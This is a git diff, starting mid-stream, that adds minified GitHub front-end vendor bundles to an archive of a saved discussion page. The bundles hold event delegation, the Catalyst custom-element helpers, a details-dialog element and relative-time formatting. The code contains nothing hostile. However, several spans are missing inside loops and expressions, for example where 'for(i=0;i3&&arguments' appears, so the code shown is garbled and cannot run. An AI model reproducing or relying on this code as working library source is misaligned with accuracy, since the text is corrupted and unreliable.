FW/0x6cWKlvpmLbWmE/Kavq1kyridh02ZMgxswaCIg==","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_catalyst_lib_inde-758ef9":"sha512-wwilBKUArz/rX5pIRCf12Drd7eXVXs1ojNAHgi9psdcnAkO6+cB5qG1JeZN7rySsdjVfG9ROnrrjbjsoUIonsA==","app_assets_modules_github_graphs_network-graph-element_ts":"sha512-Tn2dyXwUODVBVNhSZCvNV+cpSmFs3I5Ac0cTiVt9ytytAtXbugUtI4wiHkvlob5EOaAkjhOXJ4fbn8CeEtaUBw==","app_assets_modules_github_localization_inline-machine-translation-element_ts":"sha512-IDhGCIIlRbHjsowkTJXs0sd/86Zcld1QMdi2paC9Asgm3ZaNFG7utv/8tiOendd16UL8atdCfNM9dZJzMn9PUQ=="},(()=>{var e={runtime:0};t.f.j=(a,n)=>{var s=t.o(e,a)?e[a]:void 0;if(s!==0)if(s)n.push(s[2]);else if(a!="runtime"){var p=new Promise((d,m)=>s=e[a]=[d,m]);n.push(s[2]=p);var r=t.p+t.u(a),i=new Error,l=u(d=>{if(t.o(e,a)&&(s=e[a],s!==0&&(e[a]=void 0),s)){var m=d&&(d.type==="load"?"missing":d.type),c=d&&d.target&&d.target.src;i.message="Loading chunk "+a+` failed. +(`+m+": "+c+")",i.name="ChunkLoadError",i.type=m,i.request=c,s[1](i)}},"loadingEnded");t.l(r,l,"chunk-"+a,a)}else e[a]=0},t.O.j=a=>e[a]===0;var o=u((a,n)=>{var[s,p,r]=n,i,l,d=0;if(s.some(c=>e[c]!==0)){for(i in p)t.o(p,i)&&(t.m[i]=p[i]);if(r)var m=r(t)}for(a&&a(n);d{var Z=Object.defineProperty;var a=(z,_)=>Z(z,"name",{value:_,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51","node_modules_delegated-events_dist_index_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c50","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52"],{59753:(z,_,D)=>{D.d(_,{f:()=>o,on:()=>G});function p(){if(!(this instanceof p))return new p;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}a(p,"SelectorSet");var v=window.document.documentElement,P=v.matches||v.webkitMatchesSelector||v.mozMatchesSelector||v.oMatchesSelector||v.msMatchesSelector;p.prototype.matchesSelector=function(e,n){return P.call(e,n)},p.prototype.querySelectorAll=function(e,n){return n.querySelectorAll(e)},p.prototype.indexes=[];var y=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;p.prototype.indexes.push({name:"ID",selector:a(function(n){var r;if(r=n.match(y))return r[0].slice(1)},"matchIdSelector"),element:a(function(n){if(n.id)return[n.id]},"getElementId")});var C=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;p.prototype.indexes.push({name:"CLASS",selector:a(function(n){var r;if(r=n.match(C))return r[0].slice(1)},"matchClassSelector"),element:a(function(n){var r=n.className;if(r){if(typeof r=="string")return r.split(/\s/);if(typeof r=="object"&&"baseVal"in r)return r.baseVal.split(/\s/)}},"getElementClassNames")});var x=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;p.prototype.indexes.push({name:"TAG",selector:a(function(n){var r;if(r=n.match(x))return r[0].toUpperCase()},"matchTagSelector"),element:a(function(n){return[n.nodeName.toUpperCase()]},"getElementTagName")}),p.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var A;typeof window.Map=="function"?A=window.Map:A=function(){function e(){this.map={}}return a(e,"Map"),e.prototype.get=function(n){return this.map[n+" "]},e.prototype.set=function(n,r){this.map[n+" "]=r},e}();var S=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function w(e,n){e=e.slice(0).concat(e.default);var r=e.length,i,s,c,u,d=n,l,h,f=[];do if(S.exec(""),(c=S.exec(d))&&(d=c[3],c[2]||!d)){for(i=0;i3&&arguments[3]!==void 0?arguments[3]:{},s=!!i.capture,c=s?E:k,u=c[e];u||(u=new p,c[e]=u,document.addEventListener(e,V,s)),u.add(n,r)}a(G,"on");function t(e,n,r){var i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},s=!!i.capture,c=s?E:k,u=c[e];!u||(u.remove(n,r),!u.size&&(delete c[e],document.removeEventListener(e,V,s)))}a(t,"off");function o(e,n,r){return e.dispatchEvent(new CustomEvent(n,{bubbles:!0,cancelable:!0,detail:r}))}a(o,"fire")},90420:(z,_,D)=>{D.d(_,{Lj:()=>T,Ih:()=>G,fA:()=>k,GO:()=>E});const p=new WeakSet;function v(t){p.add(t),t.shadowRoot&&P(t.shadowRoot),x(t),C(t.ownerDocument)}a(v,"bind");function P(t){x(t),C(t)}a(P,"bindShadow");const y=new WeakMap;function C(t=document){if(y.has(t))return y.get(t);let o=!1;const e=new MutationObserver(r=>{for(const i of r)if(i.type==="attributes"&&i.target instanceof Element)w(i.target);else if(i.type==="childList"&&i.addedNodes.length)for(const s of i.addedNodes)s instanceof Element&&x(s)});e.observe(t,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const n={get closed(){return o},unsubscribe(){o=!0,y.delete(t),e.disconnect()}};return y.set(t,n),n}a(C,"listenForBind");function x(t){for(const o of t.querySelectorAll("[data-action]"))w(o);t instanceof Element&&t.hasAttribute("data-action")&&w(t)}a(x,"bindElements");function A(t){const o=t.currentTarget;for(const e of S(o))if(t.type===e.type){const n=o.closest(e.tag);p.has(n)&&typeof n[e.method]=="function"&&n[e.method](t);const r=o.getRootNode();if(r instanceof ShadowRoot&&p.has(r.host)&&r.host.matches(e.tag)){const i=r.host;typeof i[e.method]=="function"&&i[e.method](t)}}}a(A,"handleEvent");function*S(t){for(const o of(t.getAttribute("data-action")||"").trim().split(/\s+/)){const e=o.lastIndexOf(":"),n=Math.max(0,o.lastIndexOf("#"))||o.length;yield{type:o.slice(0,e),tag:o.slice(e+1,n),method:o.slice(n+1)||"handleEvent"}}}a(S,"bindings");function w(t){for(const o of S(t))t.addEventListener(o.type,A)}a(w,"bindActions");function W(t,o){const e=t.tagName.toLowerCase();if(t.shadowRoot){for(const n of t.shadowRoot.querySelectorAll(`[data-target~="${e}.${o}"]`))if(!n.closest(e))return n}for(const n of t.querySelectorAll(`[data-target~="${e}.${o}"]`))if(n.closest(e)===t)return n}a(W,"findTarget");function M(t,o){const e=t.tagName.toLowerCase(),n=[];if(t.shadowRoot)for(const r of t.shadowRoot.querySelectorAll(`[data-targets~="${e}.${o}"]`))r.closest(e)||n.push(r);for(const r of t.querySelectorAll(`[data-targets~="${e}.${o}"]`))r.closest(e)===t&&n.push(r);return n}a(M,"findTargets");function k(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return W(this,o)}})}a(k,"target");function E(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return M(this,o)}})}a(E,"targets");function j(t){const o=t.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(o)||(window[t.name]=t,window.customElements.define(o,t))}a(j,"register");function O(t){for(const o of t.querySelectorAll("template[data-shadowroot]"))o.parentElement===t&&t.attachShadow({mode:o.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(o.content.cloneNode(!0))}a(O,"autoShadowRoot");const m=new WeakMap;function T(t,o){m.has(t)||m.set(t,[]),m.get(t).push(o)}a(T,"attr");function N(t,o){o||(o=R(Object.getPrototypeOf(t)));for(const e of o){const n=t[e],r=F(e);let i={configurable:!0,get(){return this.getAttribute(r)||""},set(s){this.setAttribute(r,s||"")}};typeof n=="number"?i={configurable:!0,get(){return Number(this.getAttribute(r)||0)},set(s){this.setAttribute(r,s)}}:typeof n=="boolean"&&(i={configurable:!0,get(){return this.hasAttribute(r)},set(s){this.toggleAttribute(r,s)}}),Object.defineProperty(t,e,i),e in t&&!t.hasAttribute(r)&&i.set.call(t,n)}}a(N,"initializeAttrs");function R(t){const o=new Set;let e=t;for(;e&&e!==HTMLElement;){const n=m.get(e)||[];for(const r of n)o.add(r);e=Object.getPrototypeOf(e)}return o}a(R,"getAttrNames");function F(t){return`data-${t.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}a(F,"attrToAttributeName");function U(t){let o=t.observedAttributes||[];Object.defineProperty(t,"observedAttributes",{configurable:!0,get(){return[...R(t.prototype)].map(F).concat(o)},set(e){o=e}})}a(U,"defineObservedAttributes");const L=new WeakSet;function $(t,o){t.toggleAttribute("data-catalyst",!0),customElements.upgrade(t),L.add(t),O(t),N(t),v(t),o&&o.call(t),t.shadowRoot&&P(t.shadowRoot)}a($,"initializeInstance");function B(t){U(t),j(t)}a(B,"initializeClass");function V(t){return L.has(t)}a(V,"initialized");function G(t){const o=t.prototype.connectedCallback;t.prototype.connectedCallback=function(){$(this,o)},B(t)}a(G,"controller")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51-edfd57e08401.js.map \ No newline at end of file diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js new file mode 100644 index 0000000..a46ba85 --- /dev/null +++ b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var K=Object.defineProperty;var u=(W,L)=>K(W,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","node_modules_delegated-events_dist_index_js"],{59753:(W,L,H)=>{H.d(L,{f:()=>V,on:()=>z});function g(){if(!(this instanceof g))return new g;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}u(g,"SelectorSet");var x=window.document.documentElement,F=x.matches||x.webkitMatchesSelector||x.mozMatchesSelector||x.oMatchesSelector||x.msMatchesSelector;g.prototype.matchesSelector=function(e,r){return F.call(e,r)},g.prototype.querySelectorAll=function(e,r){return r.querySelectorAll(e)},g.prototype.indexes=[];var q=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"ID",selector:u(function(r){var n;if(n=r.match(q))return n[0].slice(1)},"matchIdSelector"),element:u(function(r){if(r.id)return[r.id]},"getElementId")});var P=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"CLASS",selector:u(function(r){var n;if(n=r.match(P))return n[0].slice(1)},"matchClassSelector"),element:u(function(r){var n=r.className;if(n){if(typeof n=="string")return n.split(/\s/);if(typeof n=="object"&&"baseVal"in n)return n.baseVal.split(/\s/)}},"getElementClassNames")});var B=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"TAG",selector:u(function(r){var n;if(n=r.match(B))return n[0].toUpperCase()},"matchTagSelector"),element:u(function(r){return[r.nodeName.toUpperCase()]},"getElementTagName")}),g.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var C;typeof window.Map=="function"?C=window.Map:C=function(){function e(){this.map={}}return u(e,"Map"),e.prototype.get=function(r){return this.map[r+" "]},e.prototype.set=function(r,n){this.map[r+" "]=n},e}();var I=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function O(e,r){e=e.slice(0).concat(e.default);var n=e.length,c,o,l,a,f=r,m,h,p=[];do if(I.exec(""),(l=I.exec(f))&&(f=l[3],l[2]||!f)){for(c=0;c3&&arguments[3]!==void 0?arguments[3]:{},o=!!c.capture,l=o?w:_,a=l[e];a||(a=new g,l[e]=a,document.addEventListener(e,k,o)),a.add(r,n)}u(z,"on");function G(e,r,n){var c=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},o=!!c.capture,l=o?w:_,a=l[e];!a||(a.remove(r,n),!a.size&&(delete l[e],document.removeEventListener(e,k,o)))}u(G,"off");function V(e,r,n){return e.dispatchEvent(new CustomEvent(r,{bubbles:!0,cancelable:!0,detail:n}))}u(V,"fire")},14840:(W,L,H)=>{H.d(L,{Z:()=>R});const g="data-close-dialog",x=`[${g}]`;function F(s){let t=Array.from(s.querySelectorAll("[autofocus]")).filter(P)[0];t||(t=s,s.setAttribute("tabindex","-1")),t.focus()}u(F,"autofocus");function q(s){const t=s.currentTarget;t instanceof Element&&(s.key==="Escape"||s.key==="Esc"?(_(t,!1),s.stopPropagation()):s.key==="Tab"&&C(s))}u(q,"keydown");function P(s){return s.tabIndex>=0&&!s.disabled&&B(s)}u(P,"focusable");function B(s){return!s.hidden&&(!s.type||s.type!=="hidden")&&(s.offsetWidth>0||s.offsetHeight>0)}u(B,"visible");function C(s){if(!(s.currentTarget instanceof Element))return;const t=s.currentTarget.querySelector("details-dialog");if(!t)return;s.preventDefault();const i=Array.from(t.querySelectorAll("*")).filter(P);if(i.length===0)return;const d=s.shiftKey?-1:1,E=t.getRootNode(),N=t.contains(E.activeElement)?E.activeElement:null;let k=d===-1?-1:0;if(N instanceof HTMLElement){const z=i.indexOf(N);z!==-1&&(k=z+d)}k<0?k=i.length-1:k=k%i.length,i[k].focus()}u(C,"restrictTabBehavior");function I(s){const t=s.querySelector("details-dialog");return t instanceof y?t.dispatchEvent(new CustomEvent("details-dialog-close",{bubbles:!0,cancelable:!0})):!0}u(I,"allowClosingDialog");function O(s){if(!(s.currentTarget instanceof Element))return;const t=s.currentTarget.closest("details");!t||!t.hasAttribute("open")||I(t)||(s.preventDefault(),s.stopPropagation())}u(O,"onSummaryClick");function M(s){const t=s.currentTarget;if(!(t instanceof Element))return;const i=t.querySelector("details-dialog");if(i instanceof y)if(t.hasAttribute("open")){const d="getRootNode"in i?i.getRootNode():document;d.activeElement instanceof HTMLElement&&b.set(i,{details:t,activeElement:d.activeElement}),F(i),t.addEventListener("keydown",q)}else{for(const E of i.querySelectorAll("form"))E.reset();const d=D(t,i);d&&d.focus(),t.removeEventListener("keydown",q)}}u(M,"toggle");function D(s,t){const i=b.get(t);return i&&i.activeElement instanceof HTMLElement?i.activeElement:s.querySelector("summary")}u(D,"findFocusElement");function _(s,t){t!==s.hasAttribute("open")&&(t?s.setAttribute("open",""):I(s)&&s.removeAttribute("open"))}u(_,"toggleDetails");function w(s){const t=s.currentTarget;if(!(t instanceof Element))return;const i=t.querySelector("details-dialog");if(!(i instanceof y))return;const d=i.querySelector("include-fragment:not([src])");if(!d)return;const E=i.src;E!==null&&(d.addEventListener("loadend",()=>{t.hasAttribute("open")&&F(i)}),d.setAttribute("src",E),T(t))}u(w,"loadIncludeFragment");function A(s,t,i){T(s),t&&s.addEventListener("toggle",w,{once:!0}),t&&i&&s.addEventListener("mouseover",w,{once:!0})}u(A,"updateIncludeFragmentEventListeners");function T(s){s.removeEventListener("toggle",w),s.removeEventListener("mouseover",w)}u(T,"removeIncludeFragmentEventListeners");const b=new WeakMap;class y extends HTMLElement{static get CLOSE_ATTR(){return g}static get CLOSE_SELECTOR(){return x}constructor(){super();b.set(this,{details:null,activeElement:null}),this.addEventListener("click",function({target:t}){if(!(t instanceof Element))return;const i=t.closest("details");i&&t.closest(x)&&_(i,!1)})}get src(){return this.getAttribute("src")}set src(t){this.setAttribute("src",t||"")}get preload(){return this.hasAttribute("preload")}set preload(t){t?this.setAttribute("preload",""):this.removeAttribute("preload")}connectedCallback(){this.setAttribute("role","dialog"),this.setAttribute("aria-modal","true");const t=b.get(this);if(!t)return;const i=this.parentElement;if(!i)return;const d=i.querySelector("summary");d&&(d.hasAttribute("role")||d.setAttribute("role","button"),d.addEventListener("click",O,{capture:!0})),i.addEventListener("toggle",M),t.details=i,A(i,this.src,this.preload)}disconnectedCallback(){const t=b.get(this);if(!t)return;const{details:i}=t;if(!i)return;i.removeEventListener("toggle",M),T(i);const d=i.querySelector("summary");d&&d.removeEventListener("click",O,{capture:!0}),t.details=null}toggle(t){const i=b.get(this);if(!i)return;const{details:d}=i;!d||_(d,t)}static get observedAttributes(){return["src","preload"]}attributeChangedCallback(){const t=b.get(this);if(!t)return;const{details:i}=t;!i||A(i,this.src,this.preload)}}u(y,"DetailsDialogElement");const R=y;window.customElements.get("details-dialog")||(window.DetailsDialogElement=y,window.customElements.define("details-dialog",y))}}]);})(); + +//# sourceMappingURL=vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-2fddb5aecbef.js.map \ No newline at end of file diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js new file mode 100644 index 0000000..c45b168 --- /dev/null +++ b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var B=Object.defineProperty;var i=(I,_)=>B(I,"name",{value:_,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js"],{90420:(I,_,L)=>{L.d(_,{Lj:()=>Y,Ih:()=>T,fA:()=>P,GO:()=>U});const F=new WeakSet;function v(e){F.add(e),e.shadowRoot&&g(e.shadowRoot),p(e),b(e.ownerDocument)}i(v,"bind");function g(e){p(e),b(e)}i(g,"bindShadow");const w=new WeakMap;function b(e=document){if(w.has(e))return w.get(e);let o=!1;const a=new MutationObserver(m=>{for(const n of m)if(n.type==="attributes"&&n.target instanceof Element)M(n.target);else if(n.type==="childList"&&n.addedNodes.length)for(const t of n.addedNodes)t instanceof Element&&p(t)});a.observe(e,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const l={get closed(){return o},unsubscribe(){o=!0,w.delete(e),a.disconnect()}};return w.set(e,l),l}i(b,"listenForBind");function p(e){for(const o of e.querySelectorAll("[data-action]"))M(o);e instanceof Element&&e.hasAttribute("data-action")&&M(e)}i(p,"bindElements");function z(e){const o=e.currentTarget;for(const a of D(o))if(e.type===a.type){const l=o.closest(a.tag);F.has(l)&&typeof l[a.method]=="function"&&l[a.method](e);const m=o.getRootNode();if(m instanceof ShadowRoot&&F.has(m.host)&&m.host.matches(a.tag)){const n=m.host;typeof n[a.method]=="function"&&n[a.method](e)}}}i(z,"handleEvent");function*D(e){for(const o of(e.getAttribute("data-action")||"").trim().split(/\s+/)){const a=o.lastIndexOf(":"),l=Math.max(0,o.lastIndexOf("#"))||o.length;yield{type:o.slice(0,a),tag:o.slice(a+1,l),method:o.slice(l+1)||"handleEvent"}}}i(D,"bindings");function M(e){for(const o of D(e))e.addEventListener(o.type,z)}i(M,"bindActions");function N(e,o){const a=e.tagName.toLowerCase();if(e.shadowRoot){for(const l of e.shadowRoot.querySelectorAll(`[data-target~="${a}.${o}"]`))if(!l.closest(a))return l}for(const l of e.querySelectorAll(`[data-target~="${a}.${o}"]`))if(l.closest(a)===e)return l}i(N,"findTarget");function q(e,o){const a=e.tagName.toLowerCase(),l=[];if(e.shadowRoot)for(const m of e.shadowRoot.querySelectorAll(`[data-targets~="${a}.${o}"]`))m.closest(a)||l.push(m);for(const m of e.querySelectorAll(`[data-targets~="${a}.${o}"]`))m.closest(a)===e&&l.push(m);return l}i(q,"findTargets");function P(e,o){return Object.defineProperty(e,o,{configurable:!0,get(){return N(this,o)}})}i(P,"target");function U(e,o){return Object.defineProperty(e,o,{configurable:!0,get(){return q(this,o)}})}i(U,"targets");function E(e){const o=e.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(o)||(window[e.name]=e,window.customElements.define(o,e))}i(E,"register");function C(e){for(const o of e.querySelectorAll("template[data-shadowroot]"))o.parentElement===e&&e.attachShadow({mode:o.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(o.content.cloneNode(!0))}i(C,"autoShadowRoot");const A=new WeakMap;function Y(e,o){A.has(e)||A.set(e,[]),A.get(e).push(o)}i(Y,"attr");function R(e,o){o||(o=S(Object.getPrototypeOf(e)));for(const a of o){const l=e[a],m=x(a);let n={configurable:!0,get(){return this.getAttribute(m)||""},set(t){this.setAttribute(m,t||"")}};typeof l=="number"?n={configurable:!0,get(){return Number(this.getAttribute(m)||0)},set(t){this.setAttribute(m,t)}}:typeof l=="boolean"&&(n={configurable:!0,get(){return this.hasAttribute(m)},set(t){this.toggleAttribute(m,t)}}),Object.defineProperty(e,a,n),a in e&&!e.hasAttribute(m)&&n.set.call(e,l)}}i(R,"initializeAttrs");function S(e){const o=new Set;let a=e;for(;a&&a!==HTMLElement;){const l=A.get(a)||[];for(const m of l)o.add(m);a=Object.getPrototypeOf(a)}return o}i(S,"getAttrNames");function x(e){return`data-${e.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}i(x,"attrToAttributeName");function H(e){let o=e.observedAttributes||[];Object.defineProperty(e,"observedAttributes",{configurable:!0,get(){return[...S(e.prototype)].map(x).concat(o)},set(a){o=a}})}i(H,"defineObservedAttributes");const y=new WeakSet;function h(e,o){e.toggleAttribute("data-catalyst",!0),customElements.upgrade(e),y.add(e),C(e),R(e),v(e),o&&o.call(e),e.shadowRoot&&g(e.shadowRoot)}i(h,"initializeInstance");function O(e){H(e),E(e)}i(O,"initializeClass");function Z(e){return y.has(e)}i(Z,"initialized");function T(e){const o=e.prototype.connectedCallback;e.prototype.connectedCallback=function(){h(this,o)},O(e)}i(T,"controller")},75329:(I,_,L)=>{L.d(_,{nJ:()=>T});const F=["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],v=["January","February","March","April","May","June","July","August","September","October","November","December"];function g(n){return`0${n}`.slice(-2)}i(g,"pad");function w(n,t){const r=n.getDay(),s=n.getDate(),c=n.getMonth(),u=n.getFullYear(),d=n.getHours(),f=n.getMinutes(),$=n.getSeconds();return t.replace(/%([%aAbBcdeHIlmMpPSwyYZz])/g,function(W){let k;switch(W[1]){case"%":return"%";case"a":return F[r].slice(0,3);case"A":return F[r];case"b":return v[c].slice(0,3);case"B":return v[c];case"c":return n.toString();case"d":return g(s);case"e":return String(s);case"H":return g(d);case"I":return g(w(n,"%l"));case"l":return String(d===0||d===12?12:(d+12)%12);case"m":return g(c+1);case"M":return g(f);case"p":return d>11?"PM":"AM";case"P":return d>11?"pm":"am";case"S":return g($);case"w":return String(r);case"y":return g(u%100);case"Y":return String(u);case"Z":return k=n.toString().match(/\((\w+)\)$/),k?k[1]:"";case"z":return k=n.toString().match(/\w([+-]\d\d\d\d) /),k?k[1]:""}return""})}i(w,"strftime");function b(n){let t;return function(){if(t)return t;if("Intl"in window)try{return t=new Intl.DateTimeFormat(void 0,n),t}catch(r){if(!(r instanceof RangeError))throw r}}}i(b,"makeFormatter");let p=null;const z=b({day:"numeric",month:"short"});function D(){if(p!==null)return p;const n=z();return n?(p=!!n.format(new Date(0)).match(/^\d/),p):!1}i(D,"isDayFirst");let M=null;const N=b({day:"numeric",month:"short",year:"numeric"});function q(){if(M!==null)return M;const n=N();return n?(M=!!n.format(new Date(0)).match(/\d,/),M):!0}i(q,"isYearSeparator");function P(n){return new Date().getUTCFullYear()===n.getUTCFullYear()}i(P,"isThisYear");function U(n,t){if("Intl"in window&&"RelativeTimeFormat"in window.Intl)try{return new Intl.RelativeTimeFormat(n,t)}catch(r){if(!(r instanceof RangeError))throw r}}i(U,"makeRelativeFormat");function E(n){const t=n.closest("[lang]");return t instanceof HTMLElement&&t.lang?t.lang:"default"}i(E,"localeFromElement");const C=new WeakMap;class A extends HTMLElement{static get observedAttributes(){return["datetime","day","format","lang","hour","minute","month","second","title","weekday","year","time-zone-name"]}connectedCallback(){const t=this.getFormattedTitle();t&&!this.hasAttribute("title")&&this.setAttribute("title",t);const r=this.getFormattedDate();r&&(this.textContent=r)}attributeChangedCallback(t,r,s){const c=this.getFormattedTitle();if(t==="datetime"){const $=Date.parse(s);isNaN($)?C.delete(this):C.set(this,new Date($))}const u=this.getFormattedTitle(),d=this.getAttribute("title");t!=="title"&&u&&(!d||d===c)&&this.setAttribute("title",u);const f=this.getFormattedDate();f&&(this.textContent=f)}get date(){return C.get(this)}getFormattedTitle(){const t=this.date;if(!t)return;const r=Y();if(r)return r.format(t);try{return t.toLocaleString()}catch(s){if(s instanceof RangeError)return t.toString();throw s}}getFormattedDate(){}}i(A,"ExtendedTimeElement");const Y=b({day:"numeric",month:"short",year:"numeric",hour:"numeric",minute:"2-digit",timeZoneName:"short"}),R=new WeakMap;class S extends A{attributeChangedCallback(t,r,s){(t==="hour"||t==="minute"||t==="second"||t==="time-zone-name")&&R.delete(this),super.attributeChangedCallback(t,r,s)}getFormattedDate(){const t=this.date;if(!t)return;const r=x(this,t)||"",s=H(this,t)||"";return`${r} ${s}`.trim()}}i(S,"LocalTimeElement");function x(n,t){const r={weekday:{short:"%a",long:"%A"},day:{numeric:"%e","2-digit":"%d"},month:{short:"%b",long:"%B"},year:{numeric:"%Y","2-digit":"%y"}};let s=D()?"weekday day month year":"weekday month day, year";for(const c in r){const u=r[c][n.getAttribute(c)||""];s=s.replace(c,u||"")}return s=s.replace(/(\s,)|(,\s$)/,""),w(t,s).replace(/\s+/," ").trim()}i(x,"formatDate");function H(n,t){const r={},s=n.getAttribute("hour");(s==="numeric"||s==="2-digit")&&(r.hour=s);const c=n.getAttribute("minute");(c==="numeric"||c==="2-digit")&&(r.minute=c);const u=n.getAttribute("second");(u==="numeric"||u==="2-digit")&&(r.second=u);const d=n.getAttribute("time-zone-name");if((d==="short"||d==="long")&&(r.timeZoneName=d),Object.keys(r).length===0)return;let f=R.get(n);f||(f=b(r),R.set(n,f));const $=f();if($)return $.format(t);{const W=r.second?"%H:%M:%S":"%H:%M";return w(t,W)}}i(H,"formatTime"),window.customElements.get("local-time")||(window.LocalTimeElement=S,window.customElements.define("local-time",S));class y{constructor(t,r){this.date=t,this.locale=r}toString(){const t=this.timeElapsed();if(t)return t;{const r=this.timeAhead();return r||`on ${this.formatDate()}`}}timeElapsed(){const t=new Date().getTime()-this.date.getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24);return t>=0&&u<30?this.timeAgoFromMs(t):null}timeAhead(){const t=this.date.getTime()-new Date().getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24);return t>=0&&u<30?this.timeUntil():null}timeAgo(){const t=new Date().getTime()-this.date.getTime();return this.timeAgoFromMs(t)}timeAgoFromMs(t){const r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return t<0?h(this.locale,0,"second"):r<10?h(this.locale,0,"second"):r<45?h(this.locale,-r,"second"):r<90?h(this.locale,-s,"minute"):s<45?h(this.locale,-s,"minute"):s<90?h(this.locale,-c,"hour"):c<24?h(this.locale,-c,"hour"):c<36?h(this.locale,-u,"day"):u<30?h(this.locale,-u,"day"):d<18?h(this.locale,-d,"month"):h(this.locale,-f,"year")}microTimeAgo(){const t=new Date().getTime()-this.date.getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return s<1?"1m":s<60?`${s}m`:c<24?`${c}h`:u<365?`${u}d`:`${f}y`}timeUntil(){const t=this.date.getTime()-new Date().getTime();return this.timeUntilFromMs(t)}timeUntilFromMs(t){const r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return d>=18?h(this.locale,f,"year"):d>=12?h(this.locale,f,"year"):u>=45?h(this.locale,d,"month"):u>=30?h(this.locale,d,"month"):c>=36?h(this.locale,u,"day"):c>=24?h(this.locale,u,"day"):s>=90?h(this.locale,c,"hour"):s>=45?h(this.locale,c,"hour"):r>=90?h(this.locale,s,"minute"):r>=45?h(this.locale,s,"minute"):r>=10?h(this.locale,r,"second"):h(this.locale,0,"second")}microTimeUntil(){const t=this.date.getTime()-new Date().getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return u>=365?`${f}y`:c>=24?`${u}d`:s>=60?`${c}h`:s>1?`${s}m`:"1m"}formatDate(){let t=D()?"%e %b":"%b %e";return P(this.date)||(t+=q()?", %Y":" %Y"),w(this.date,t)}formatTime(){const t=Z();return t?t.format(this.date):w(this.date,"%l:%M%P")}}i(y,"RelativeTime");function h(n,t,r){const s=U(n,{numeric:"auto"});return s?s.format(t,r):O(t,r)}i(h,"formatRelativeTime");function O(n,t){if(n===0)switch(t){case"year":case"quarter":case"month":case"week":return`this ${t}`;case"day":return"today";case"hour":case"minute":return`in 0 